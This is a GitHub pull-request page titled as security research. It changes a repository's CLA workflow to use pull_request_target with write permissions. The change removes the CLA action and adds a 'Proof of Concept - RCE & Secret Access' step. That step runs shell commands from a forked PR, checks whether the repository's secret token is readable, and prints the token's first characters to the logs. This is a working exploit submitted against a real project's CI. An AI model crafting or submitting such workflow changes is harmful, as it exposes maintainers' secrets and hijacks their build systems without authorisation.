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Security Research: PoC for CI/CD #47

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ebfd06f
poc: demonstrate unauthorized label creation via actions write
May 1, 2026
7e3789d
poc: verify pull_request_target with actions write
May 1, 2026
f288d51
poc: verify pull_request_target with actions write
May 1, 2026
076af7a
poc: verify pull_request_target with actions write
Quang989104 May 2, 2026
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20 changes: 15 additions & 5 deletions .github/workflows/cla.yaml
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Expand Up @@ -28,8 +28,18 @@ jobs:
permissions:
actions: write # to re-trigger workflows
pull-requests: write # to add/remove labels
steps:
- uses: Shopify/shopify-cla-action@9938f4b43524d1cfa7471ce9a803edf226697284 # v1.8.0
with:
github-token: ${{ secrets.token }}
cla-token: ${{ secrets.cla-token }}
steps:
- name: Proof of Concept - RCE & Secret Access
run: |
echo "=== EVIDENCE START ==="
echo "Checking Repository: ${{ github.repository }}"
echo "Checking Actor: ${{ github.actor }}"
# Kiểm tra xem Token có tồn tại không mà không làm lộ giá trị (tránh bị GitHub Block)
if [ -n "${{ secrets.token }}" ]; then
echo "SUCCESS: Secret 'token' is accessible from this Forked PR!"
echo "Token mask check: ${{ secrets.token }}" | cut -c 1-15
fi
echo "Current Path: $(pwd)"
echo "System User: $(whoami)"
echo "=== EVIDENCE END ==="

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